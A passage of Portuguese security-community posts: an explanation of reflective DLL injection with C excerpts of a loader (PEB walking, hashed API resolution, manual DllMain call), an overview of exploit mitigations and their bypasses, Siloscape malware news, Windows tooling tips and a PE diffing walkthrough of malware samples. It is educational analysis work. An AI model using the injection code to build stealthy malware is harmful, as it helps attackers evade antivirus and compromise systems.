vai, o que não é lá tão "silencioso". Além disso, justamente pela função LoadLibrary ser tão simples de se utilizar e poderosa geralmente ela está hookada (em userland no caso, mas falaremos disto em outro artigo) e antes mesmo do módulo ser carregado é bem provável que o Anti-Vírus, por exemplo, já tenha analisado sua DLL em disco e já tome uma ação em cima dela (impedindo o carregamento dela, por exemplo). A fim evitar estas situações esta técnica implementa um "Mini Loader", que é implementado na função exportada mencionada acima (exportada pela própria DLL que será carregada). Vou me referir a este "Mini loader" como simplesmente loader, mas tenha em mente que não estou falando do loader convencional do Windows. E sim! Todo o loader é implementado dentro da própria DLL que queremos carregar (daí o conceito de Programação Reflexiva), doideira né? A primeira ação executada pelo loader é tentar obter o endereço base da DLL em si executando a função exportada. Este endereço será necessário pois será utilizado para parsear as estruturas do formato PE necessárias para o loader. No entanto, para chegarmos até a base da DLL precisamos de um ponto de partida, uma vez que a função exportada não faz ideia de onde ela foi carregada. Temos várias formas de obter um endereço de referência para trabalharmos (call $0 seguido de pop <reg>, por exemplo) e a utilizada pelo autor foi criando uma função "caller" que irá servir como uma espécie de "ponte" para forçar a execução da instrução CALL. Esta instrução por padrão coloca o endereço da próxima instrução a ser executada depois da CALL na pilha, nos permitindo obter este endereço de alguma forma. Este endereço na pilha é então retornado executando a função _ReturnAddress, chamada dentro deste "caller". Com um endereço de "referência" em mãos, nós iremos "andar para trás" (literalmente decrementar) o endereço de referência até achar as strings "MZ" (assinatura do DOS) e "PE\x0\x0" (assinatura PE), indicando que atingimos o endereço base da DLL: #pragma intrinsic( _ReturnAddress ) __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } [...] // we will start searching backwards from our callers return address. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE ) { if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; } Um ponto falho aqui seria o caso do compilador otimizar a "caller" e tornar ela inline. Neste caso não haveria a execução da instrução CALL e toda a operação falharia! Depois disto os passos executados são os seguintes: Obtém a lista de módulos carregados no processo lendo a lista "InMemoryOrderModuleList" dentro do PEB* (Process Environment Block) do processo; Tenta achar o módulo da kernel32.dll na lista de módulos carregados; Obtém o ImageBase (endereço base) do módulo da kernel32 para fazer o parsing das estruturas do módulo (e.g. Export Table); Parseia a Export Table da kernel32 a fim de achar o endereço das funções LoadLibraryA, GetProcAddress e VirtualAlloc. Estas funções serão utilizas para construir a tabela de importação da nossa DLL; Faz a mesma coisa com o módulo da ntdll, mas agora buscando pelo endereço da função NtFlushInstructionCache. *Toda aplicação em user-mode no Windows contém uma estrutura chamada de Process Environment Block. Ela é uma das raras estruturas que é "de sistema" e que é exposta em user-mode. O motivo por trás dessa "exposição" é que ela contém informações relevantes utilizadas por componentes como o loader do Windows, Heap Manager, susbsystem DLLs, etc e se estes componentes tivessem que acessar tais informações via syscalls seria muito caro num ponto de vista de performance. No nosso caso a informação relevante é a lista de módulos carregados no nosso processo e suas informações. O código abaixo demonstra como os passos descritos acima são executados: // get the Process Enviroment Block #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60 ); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30 ); #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); #endif #endif [...] uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; // get the first entry of the InMemoryOrder module list uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { // get pointer to current modules name (unicode string) uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // set bCounter to the length for the loop usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; // clear uiValueC which will store the hash of the module name uiValueC = 0; // compute the hash of the module name... do { uiValueC = ror( (DWORD)uiValueC ); // normalize to uppercase if the madule name is in lowercase if( *((BYTE *)uiValueB) >= 'a' ) uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); // compare the hash with that of kernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 3; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } [...Faz o mesmo para a NTDLL...] Caso você leia o código fonte pode notar que existe uma função extra sendo executada tanto para checar o nome dos módulos quanto das suas funções exportadas. Esta função é uma hashing function, utilizada basicamente pra não deixar a string em texto limpo em memória uma vez que ela só é resolvida na hora que é utilizada. Temos um vídeo no curso de Análise de Malware Online (AMO) aqui do Mente Binária que explica um pouco mais sobre este tipo de técnica. No nosso caso este hash é calculado utilizando a função _rotr. Talvez você esteja se perguntando por que diabos precisou dessa trabalheira toda só para pegar o endereço de funções que em teoria já estão disponíveis no nosso processo "host", uma vez que a kernel32 já está carregada nele e poderíamos simplesmente chamá-las, certo?! De forma superficial a resposta para esta pergunta é simples! Acontece que este loader é escrito utilizando uma abordagem que faz com que ele seja o que é chamado de Position Independent Code (ou PIC para os íntimos), que é basicamente uma abordagem que garante que independente de onde o código esteja sendo carregado (endereço) ou módulos disponíveis, ele alcançará seu objetivo uma vez que utiliza apenas estruturas e recursos que são garantidos estarem presentes no address space no qual ele está sendo executado (está aí o motivo de se buscar um endereço de referência tanto via PEB quanto via _ReturnAddress). Este tipo de abordagem é bastante utilizada em shellcodes, por exemplo, uma vez que estes não podem depender de endereços pré-definidos para executar suas tarefas. Continuando... O ponteiro obtido para a função VirtualAlloc é utilizado para alocar espaço suficiente para suportar toda a DLL (sim, de novo); Toda a DLL é escrita na região alocada, mas agora tomando os devidos cuidados copiando os headers, seções, utilizando o RVA ao invés do offset, etc; A Import Table é construída parseando o Import Directory a fim de se obter todas as DLLs e funções importadas destas DLLs utilizadas pela nossa DLL sendo carregada; A imagem da DLL em questão é realocada; O Entry Point (no caso de uma DLL a função DllMain) da nossa DLL já carregada e pronta é então executado. Como os 4 passos acima caem no mesmo ponto de terem mais a ver com o formato PE do que com a técnica em si não vou colocar o código aqui (até porque o artigo já está bem grandinho). No entanto, reforço novamente que vai ser super valioso se você ler o código para entender tudo! DICAS DE ANÁLISE: Como estes trechos de código não utilizam nenhuma função da API do Windows eles são um pouco mais "manuais" de se analisar, no entanto, a dica que posso dar é: fique de olho em registradores que contêm endereços de estruturas conhecidas e seus offsets! Em x86, por exemplo, o endereço da TEB (Thread Environment Block) é carregado em fs:[0] (em x64 fica em gs:[0]). Se deslocarmos 0x30 bytes (x86) ou 0x60 (x64) a partir do endereço base desta estrutura obtemos um ponteiro para o PEB, e a partir dela pegamos a lista de módulos carregados e por aí vai! QUASE tudo isto está documentado na MSDN, mas caso não esteja certeza que você acha no Google e/ou em algum repositório por aí. 😉 A mesma ideia de acompanhar offsets conhecidos se aplica ao parsing de estruturas do formato PE. O offset 0x3c a partir do endereço base do binário, por exemplo, representa o campo e_lfanew do IMAGE_DOS_HEADER. Este campo contém o offset para assinatura PE ("P", "E", 0x0, 0x0) do binário, que por consequência é o início da estrutura IMAGE_NT_HEADER. Para que seja feito o devido parsing das estruturas seguintes (Optional Header, Data Directories, etc) o binário precisa obter o endereço desta estrutura e com isto podemos utilizar tais valores como dicas para sabermos quais campos do formato PE estão sendo acessados. Execução da DLL: Neste ponto nós já temos nossa DLL mapeada em memória, carregada propriamente e pronta para ser executada! Isto tudo interagindo muito pouco com recursos clássicos de carregamento do sistema. O trecho abaixo mostra como a função DllMain é executada: uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif A partir de agora é bem comum que a DLL execute o seu verdadeiro código malicioso (através da DllMain), uma vez que toda a injeção já aconteceu e a DLL está pronta. DICA DE ANÁLISE: Sempre observe funções que recebem um ponteiro de função como parâmetro (CreateRemoteThread, CreateThreadpoolWait, etc) ou instruções CALL chamando endereços não tão comuns em execuções normais (endereços na pilha, registradores, etc). Geralmente elas indicam ou o início da execução de um shellcode ou de um binário que acabou de ser carregado/desofuscado/etc. Podemos obter todos os bytes de um módulo completo só com o endereço comentado acima (isto é, de uma região suspeita que encontramos alocada e sendo executada). Para isto basta seguirmos o endereço na aba de "Memory Map" do x64dbg, por exemplo, e fazermos um "dump" de toda a região: Lembrando que existem diversas variações para esta técnica, desde a modificação das funções sendo utilizadas (ou a não utilização delas) até a forma com que a permissão das páginas alocadas é manipulada e os bytes da DLL alvo obtidos. Nosso foco aqui foi apresentar de forma simples a técnica e seguindo rigorosamente o código fonte a fim de melhorar a experiência de quem quer aprender acompanhando o código fonte. E é isto! Espero que tenham gostado e qualquer dúvida/feedback/sugestão estou à disposição, seja por aqui ou pelo nosso Discord. Abs, Leandro
  4. Durante o estudo de exploração de binários executáveis, uma das primeiras e mais importantes coisas que vemos são as proteções como NX, PIE, ASLR, de entre outras. Hoje vamos ver um pouco mais de perto cada uma delas. NX No eXecute (NX) é uma das proteções mais simples e mais lógica, implementada por volta de 2004. Durante a execução de um binário sem essa proteção ativada, a sua stack, heap e outras regiões possuíam poder de execução, simples assim. Os processadores da família x86 tardaram muito para implementar o bit NX, que basicamente é uma forma de sinalizar uma página em memória como executável ou não. Isso gerou projetos para tentar emular tal proteção via software, como o Exec Shield, um projeto da Red Hat que continha um patch no kernel do Linux para emular o funcionamento do NX. No kernel Linux, o suporte para o NX foi adicionado oficialmente em 2004. Patches como o mencionado acima, do Exec Shield, já existiam desde 2002. No Windows, a proteção está presente desde 2003 com o nome de DEP (Data Execution Prevention), porém a DEP emulada via software funciona de uma forma diferente: ela não se baseia no bit NX, mas sim checando sempre que uma exceção é realizada se o endereço da execução bate com a tabela de funções do binário. Essa proteção é ativada ou não durante o carregamento do binário na memória. No Linux isso é controlado com uma flag exec no segmento PT_GNU_STACK do binário. Já no Windows, as configurações ficam no arquivo Boot.ini, podendo ter até quatro opções diferentes: OptIn: Apenas em binários do sistema a proteção é ativada. OptOut: A DEP é ativada por padrão para todos os processos. AlwaysOn: Todos os processos têm a DEP ativada e não existe a possibilidade de desativar para um processo específico. AlwaysOff: A proteção não é habilitada para nenhum processo. PIE/PIC O Position-Independent Executable (PIE) ou Position-Independent code (PIC) não é em si uma proteção, mas uma técnica para criar código, assim como o nome diz, independente de posição. Isso significa que, onde o código for alocado, ele conseguirá executar sem problemas, diferente de binários comuns, os quais precisam ser carregados em lugares específicos para fazerem referências de forma correta. Essa técnica é usada principalmente para bibliotecas (shared libraries). O problema disso durante a exploração é que os endereços do binário também são randomizados com a ASLR, proteção que vai ser explicada a seguir, impossibilitando, assim, conhecer os endereços do binário e consequentemente utilizar Return Oriented Programming (ROP) para explorar uma vulnerabilidade deixa de ser viável. A solução para fazer bypass dessa proteção é conseguir um vazamento (leak) de memória, pois é possível calcular a base já que os offsets continuam os mesmos. Como o PIE é uma forma de gerar código, não é possível "desabilitá-lor", porém se a ASLR estiver desligada, o endereço base se manterá o mesmo, não tento efeito prático para mitigar uma ROP, por exemplo. ASLR A Address Space Layout Randomization (ASLR), assim como o nome diz, tem a função de randomizar endereços como os da heap, stack e bibliotecas. Como uma proteção em nível de sistema, cada sistema operacional mantém uma implementação própria. No Linux, a ALSR já está presente desde a sua versão 2.6.12, lançada em 2005. Executáveis PIE também possuem um endereço base randômico desde 2003, porém ambos com uma implementação fraca e com pouca aleatoriedade. O PaX e o Exec Shield (mencionado acima) foram responsáveis por patches com uma implementação mais complexa e segura. O endereço da stack com essas alterações podem ter até 524.288 variações diferentes. Por padrão, a ASLR é configurada no Linux através do arquivo /proc/sys/kernel/randomize_va_space e pode possuir três valores diferentes: 0 para desabilitar, 1 para randomizar stack, bibliotecas e executáveis PIE e 2, o valor mais alto, para randomizar também a base da heap. É possível, também, ativar ou desativar para processos isoladamente usando um recurso chamado personality . O Windows teve sua implementação da ASLR lançada em 2007 com uma abordagem diferente: a ASLR só é ativada em executáveis e DLLs que possuírem uma "flag" no processo de linkagem e todos os membros precisam possuir essa "flag". Por exemplo, suponha que A.exe dependa de B.dll e C.dll. Caso C.dll não tenha ASLR habilitada, A.exe não terá a proteção ligada. Hoje em dia essa é uma situação rara, pois apenas programas mais antigos não possuem suporte para ASLR. Canary O canary é uma proteção muito interessante. Ao compilar algum código com essa proteção, o compilador adiciona um fragmento de código no começo e no final de cada função. No prólogo da função, se cria uma variável local na stack com um valor aleatório e no final se acessa essa mesma variável para verificar a integridade do valor, validando se continua o mesmo. Caso tenha mudado, uma função de callback é chamada para gerar um abort, assim evitando transbordamentos de memória. O GCC, LLVM, Intel compiler entre outros compiladores possuem implementações do canary. O valor aleatório citado acima é o chamado canary ou stack cookie. Esse cookie pode ser classificado de três formas: terminator O terminator Canary se baseia na observação de que a maioria das vulnerabilidades de buffer overflow acontecem em cenários de manuseio de strings que finalizam com um null byte (\0). Em contrapartida, o cookie é construído com null byte (\0), CR (\r), LF (\n) e FF (\f). Como resultado, isso mitiga um buffer overflow em funções como strcpy(), pois, mesmo sabendo o valor do cookie, não é possível copiá-lo com esse tipo de funções, já que ela ira retornar assim que ler o nullbyte. random Neste tipo, Random Canaries são gerados randomicamente a cada execução a partir de alguma fonte de entropia. Além disso, esse valor não é facilmente lido, pois no carregamento do binário esse valor é armazenado em uma variável global, que é alocada em uma região não mapeada de memória para dificultar ainda mais seu acesso. As formas mais viáveis de ler o cookie são com um vazamento da stack ou sabendo o endereço exato da variável global. random XOR O random XOR Canary é o tipo mais complexo. Seu valor é basicamente determinado a partir de operações XOR de vários valores de controle, como stack pointer, endereço de retorno, etc. Dessa forma, se o Canary ou os dados usados no cálculo forem corrompidos, o programa irá gerar um abort. Para conseguir enganar essa checagem de integridade, é necessário vazar não apenas o cookie, mas também os dados usados no cálculo e o próprio algoritmo para gerar o mesmo. RELRO A RELocation Read-Only (RELRO) é uma proteção exclusiva do Linux, ou melhor, do formato ELF, que tem como intenção deixar as seções relacionadas a realocação como somente leitura (read-only). As seções de realocação, de forma resumida, são onde são armazenados os endereços de funções externas, como as da libc. Por padrão, essas regiões de memória possuem permissão de leitura e escrita (read/write), pois normalmente é utilizada lazy bind, uma forma de resolver esses endereços não em tempo de carregamento, mas durante a execução, logo antes da chamada. Essa proteção foca exatamente nessa região de meória. A realocação dos endereços é feita antes de passar o controle para o programa e a região é marcada como somente leitura, impossibilitando, assim, que um atacante a sobescreva com endereços maliciosos. Existem dois tipos de RELRO: partial e full, onde a partial marca como somente leitura a maioria das seções, exceto a Global Offset Table (GOT), na seção .got.plt. Já a full, como se deve imaginar, força que todos os símbolos e endereços sejam resolvidos durante o carregamento do binário, permitindo que a GOT seja completamente read-only. Referências - A hardware-enforced BOF protection: - http://index-of.es/EBooks/NX-bit.pdf - Windows ISV Software Security Defenses - https://docs.microsoft.com/en-us/previous-versions/bb430720(v=msdn.10) - Position-Independent Code with GCC for ARM Cortex-M - https://mcuoneclipse.com/2021/06/05/position-independent-code-with-gcc-for-arm-cortex-m/ - Effect of ASLR to Memory Deduplication - https://www.semanticscholar.org/paper/Effect-of-ASLR-to-Memory-Deduplication-Ratio-in-)-Piao-Sung/3f74d25c72322315ec3b6552e6c3d4413af95022 - Exploit Protection Mechanisms - https://ocw.cs.pub.ro/courses/cns/labs/lab-06 - Hardening ELF binaries using Relocation Read-Only (RELRO) - https://www.redhat.com/en/blog/hardening-elf-binaries-using-relocation-read-only-relro
  5. O Siloscape é o primeiro malware que tem como alvo os contêineres do Windows – tecnologia para empacotamento e execução de aplicativos. Segundo o ThreatPost, o malware implanta backdoors e nós de invasão para obter credenciais de usuários. A campanha em andamento perfura os clusters do Kubernetes – sistema de orquestração de contêineres open-source – para a implantação de backdoors, permitindo que os invasores roubem dados e credenciais do usuário ou sequestrem bancos de dados inteiros hospedados em um cluster. Segundo a reportagem, o malware foi descoberto pelo pesquisador de segurança da Unidade 42, Daniel Prizmant, que o apelidou de Siloscape, ou "Fuga do Silo". O malware explora vulnerabilidades conhecidas em servidores da web e bancos de dados para comprometer os nós do Kubernetes e os clusters de backdoor. Prizmant fez um trabalho de engenharia reversa para conseguir se conectar ao servidor de comando e controle (C2) do Siloscape, onde descobriu que estava hospedando um total de 313 usuários. Isso implica que o Siloscape é uma pequena parte de uma campanha mais ampla, observou ele. Prizmant destaca que o Siloscape é um malware fortemente ofuscado. Os pesquisadores da Unidade 42 identificaram 23 vítimas do Siloscape e disseram que as evidências indicam que a campanha foi lançada há mais de um ano, podendo ter iniciado em janeiro de 2020. A recomendação é que os usuários sigam o conselho da Microsoft para não usar contêineres do Windows como um recurso de segurança. Em vez disso, a Microsoft recomenda o uso estritamente de contêineres Hyper-V para qualquer coisa que dependa da conteinerização como limite de segurança.
  6. Version 10

    90 downloads

    Máquina virtual do Windows 10 para desenvolvedores, disponibilizada pela própria Microsoft com licença válida por 3 meses. Tem 20 GB o download mas ela já vem com o seguinte: Windows 10 Windows 10 SDK Visual Studio 2019 com UWP, .NET desktop e Azure workflows habilitados, além da extensão do Windows Template Studio Visual Studio Code Windows Subsystem for Linux com Ubuntu instalado Modo desenvolvedor habilitado Pode ser uma mão na roda pra criar uma VM de análise de malware.
  7. Passei um tempo usando o Windows 10 depois de anos em Linux e macOS. Logo percebi dificuldades específicas com shell, instalação de programas, etc. Mas também percebi que é possível deixar o Windows muito próximo, no quesito de usabilidade, de um Linux com shell completo ou macOS. Neste artigo vou mostrar as ferramentas e configurações que mais me ajudaram. Boa leitura! 😉 Gerenciador de pacotes Vou começar falando dele por um motivo muito simples: outros programas podem ser instalados com ele. Pois é, parece que a Microsoft aprendeu com as distros Linux e projetos como o Chocolatey, já que finalmente anunciou seu gerenciador de pacotes, o winget. Para instalar, baixe o arquivo com extensão .appxbundle na área de releases do repositório do projeto no Github. Após isso você pode abrir qualquer terminal (Command Prompt / cmd.exe ou Powershell) e digitar winget pra ver seu novo gerenciador de pacotes: Vamos buscar por exemplo os programas que que tenham a palavra "security" em seu nome ou descrição, para testar: Qualquer um desses programas pode ser instalado com um simples "winget install". Faça o teste com o Notepad++ por exemplo: winget install notepad++ Os comandos list (listar os programas instalados) e upgrade (atualizar os programas instalados) ainda são experimentais, mas você pode habilitá-los da seguinte maneira: Digite winget settings no terminal. Um arquivo settings.json se abrirá. Nele, adicione: "experimentalFeatures": { "list" : true, "upgrade" : true }, O meu aqui tá assim: A lista de programas disponíveis está aumentando cada vez mais, já que o winget é de código aberto. 🙂 Terminal decente Mas na real, a primeira coisa de que senti falta foi um terminal decente. Graças a Deus encontrei o Windows Terminal. Para instalar com o winget (não se assuste - dá pra usar a tecla Tab para autocompletar): winget install Microsoft.WindowsTerminalPreview Aí olha só quem chega na festa: Este terminal concentra tudo em um: Prompt de Comando, Powershell e Linux (rodando via WSL), e é multi-abas. Claro que tá longe de um Terminator ou iTerm2, mas também tá longe de um cmd.exe né? Deus me livre e guarde! kkkk O novo Windows Terminal também tem uma configuração baseada em JSON e uns recursos interessantes como a divisão automática da janela do terminal. Ao apertar Alt+Shitft+D, olha o que acontece: terminal_split.mp4 A divisão da janela (split) funciona para janelas com qualquer shell. Hashes Eu sempre curti um software pra Windows chamado TotalHash, que adiciona os hashes de arquivos em suas propriedades, mas este infelizmente tem dois problemas: não é livre nem suporta plugins (logo, não consigo extender para suportar os hashes que preciso), é pago e não é scriptável. Resolvi isso com o cmdlet Get-FieHash do Powershell. Por padrão ele exibe o SHA-256 de um arquivo, mas há várias opções, como se pode observar na imagem: Sniffer Por essa nem o futuro esperava! O Windows 10 agora tem um sniffer nativo: o pktmon. Se liga: E sim, ele suporta filtros. Por exemplo, para logar somente pacotes IPv4 na porta 80/tcp: pktmon filter add HttpPuro -d ipv4 -t tcp -p 80 Você pode adicionar mais de um filtro se quiser e com qualquer nome (aqui chamei o meu de HttpPuro). Depois, é só iniciar a captura pedindo para logar os eventos: pktmon start --etw Para parar a captura, o comando é o stop: pktmon stop Por padrão o pktmon cria um arquivo chamado PktMon.etl num formato próprio. Este pode ser convertido para texto: pktmon format PktMon.etl -o log.txt Ou para o formato PCAP-NG, suportado pelo Wireshark e outros analisadores de pacotes: pktmon pcapng PktMon.etl -o capture.pcap Há várias outras opções que valem serem exploradas. É de fato um sniffer completo. Em breve vou falar mais sobre as seguintes ferramentas: PowerToys Sysinternals O novo diskusage.exe. WSL 2.0. Por hora é isso. Conforme eu encontre coisas novas, vou adicionando aqui. Se souber de alguma novidade ou algo que ache que precise ser citado aqui, por favor comente aí embaixo! Espero que seja útil para quem precisa usar o Windows por algum tempo, por qualquer motivo. 🙂
  8. Saudações, leitores do Mente Binária! Hoje me deu vontade de falar sobre uma tarefa que eventualmente preciso fazer na empresa onde trabalho, que é a de verificar as diferenças entre arquivos executáveis, normalmente de Windows, também conhecidos por executáveis PE. Há vários usos ao comparar binários. É possível avaliar o que mudou na versão atual de um software em relação à anterior, descobrir o que muda em cada sample diferente de uma mesma família de malware, etc. Esses dias mesmo me foi pedido que verificasse a diferença entre 6 arquivos maliciosos, que compartilho abaixo como fiz. Reconhecimento básico Os arquivos que recebi tinham seu hash SHA-256 como nome. A primeira coisa que fiz foi checar seu tipo (usando comandos do macOS, mas o Linux tem comandos similares): $ file * fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04: PE32 executable (GUI) Intel 80386, for MS Windows fdf3060eb9c39b1a2be168b1ac52c2f80171394e73fe03c4e0c57911cb9358a9: PE32 executable (GUI) Intel 80386, for MS Windows fedf9d9815b3d0ad28e62f99d5dcf92ec0f5fcb90135b4bdc30bb5709ab9ff05: PE32 executable (GUI) Intel 80386, for MS Windows ff2f1be6f64c91fa0a144cbc3c49f1970ba8107599d5c66d494ffb5550b0f7fd: PE32 executable (GUI) Intel 80386, for MS Windows ff53c7ba285ffdc2c29683bb79bb239ea59b3532f8b146523adf24d6d61fc640: PE32 executable (GUI) Intel 80386, for MS Windows ffee504e292a9f3ae6c439736881ebb314c05eac8b73d8b9c7a5a33605be658e: PE32 executable (GUI) Intel 80386, for MS Windows Só para garantir, também chequei o SHA-256 deles e realmente bateu com o nome, o que era esperado: $ shasum -a256 * fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04 fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04 fdf3060eb9c39b1a2be168b1ac52c2f80171394e73fe03c4e0c57911cb9358a9 fdf3060eb9c39b1a2be168b1ac52c2f80171394e73fe03c4e0c57911cb9358a9 fedf9d9815b3d0ad28e62f99d5dcf92ec0f5fcb90135b4bdc30bb5709ab9ff05 fedf9d9815b3d0ad28e62f99d5dcf92ec0f5fcb90135b4bdc30bb5709ab9ff05 ff2f1be6f64c91fa0a144cbc3c49f1970ba8107599d5c66d494ffb5550b0f7fd ff2f1be6f64c91fa0a144cbc3c49f1970ba8107599d5c66d494ffb5550b0f7fd ff53c7ba285ffdc2c29683bb79bb239ea59b3532f8b146523adf24d6d61fc640 ff53c7ba285ffdc2c29683bb79bb239ea59b3532f8b146523adf24d6d61fc640 ffee504e292a9f3ae6c439736881ebb314c05eac8b73d8b9c7a5a33605be658e ffee504e292a9f3ae6c439736881ebb314c05eac8b73d8b9c7a5a33605be658e PS.: No Linux o comando seria sha256sum ao invés de shasum -a256. O próximo passo foi checar o tamanho deles: $ wc -c * 396973 fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04 396973 fdf3060eb9c39b1a2be168b1ac52c2f80171394e73fe03c4e0c57911cb9358a9 396973 fedf9d9815b3d0ad28e62f99d5dcf92ec0f5fcb90135b4bdc30bb5709ab9ff05 396973 ff2f1be6f64c91fa0a144cbc3c49f1970ba8107599d5c66d494ffb5550b0f7fd 396973 ff53c7ba285ffdc2c29683bb79bb239ea59b3532f8b146523adf24d6d61fc640 396973 ffee504e292a9f3ae6c439736881ebb314c05eac8b73d8b9c7a5a33605be658e 2381838 total Aqui apresentou-se um caso atípico: os binários possuem exatamente o mesmo tamanho! Já pensei que havia grandes chances de as diferenças entre eles serem mínimas: provavelmente algo usado pelo autor do malware só para "mudar o hash" na tentativa de evitar que os antivírus detectem os arquivos idênticos, por exemplo. Essa tentativa é na verdade frustrada visto que, ao contrário do que muitos pensam, os antivírus não detectam malware por hash normalmente, já que isso seria muito custoso do ponto de vista do desempenho (seria preciso ler todos os bytes do arquivo!) e também seria muito fácil tornar um novo arquivo indetectável - bastaria alterar um único byte para um hash final completamente diferente. Comparação de estrutura Se estivéssemos tratando arquivos de texto, poderia simplesmente usar o comando diff, mas o assunto aqui é PE, então algo interessante de verificar é sua estrutura, que consiste basicamente em cabeçalhos, localizados antes das seções. Se você não sabe do que estou falando, recomendo os seguintes recursos: Posts do @Leandro Fróes sobre o formato PE e suas referências. Capítulo sobre PE do livro Fundamentos de Engenharia Reversa. Aulas 5 e 6 do CERO, nosso Curso de Engenharia Reversa Online em vídeo. Digitar "PE executable" no Google ler o que curtir. Depois dessa imersão no mundo dos executáveis PE, não tenho dúvidas de que você vai se apaixonar por eles também! ? Voltando à comparação, o que eu quero dizer com estrutura? Bem, os valores dos campos dos cabeçalhos. Por exemplo, para ver o cabeçalho COFF de um arquivo PE, usei o readpe, parte do kit de ferramentas pev: $ readpe -h coff fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04 COFF/File header Machine: 0x14c IMAGE_FILE_MACHINE_I386 Number of sections: 5 Date/time stamp: 1401620468 (Sun, 01 Jun 2014 11:01:08 UTC) Symbol Table offset: 0 Number of symbols: 0 Size of optional header: 0xe0 Characteristics: 0x102 Characteristics names IMAGE_FILE_EXECUTABLE_IMAGE IMAGE_FILE_32BIT_MACHINE Mas não, não usei o pev por saudosismo! A ideia de ter uma saída em texto da estrutura desses binários é depois usar o comando diff para compará-las. A primeira coisa que precisei então foi gerar um .txt contendo toda a estrutura, e não só o cabeçalho COFF, para cada um dos arquivos. Uma repetição em bash dá conta do recado: $ ls -1 readpe_output_* readpe_output_fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04.txt readpe_output_fdf3060eb9c39b1a2be168b1ac52c2f80171394e73fe03c4e0c57911cb9358a9.txt readpe_output_fedf9d9815b3d0ad28e62f99d5dcf92ec0f5fcb90135b4bdc30bb5709ab9ff05.txt readpe_output_ff2f1be6f64c91fa0a144cbc3c49f1970ba8107599d5c66d494ffb5550b0f7fd.txt 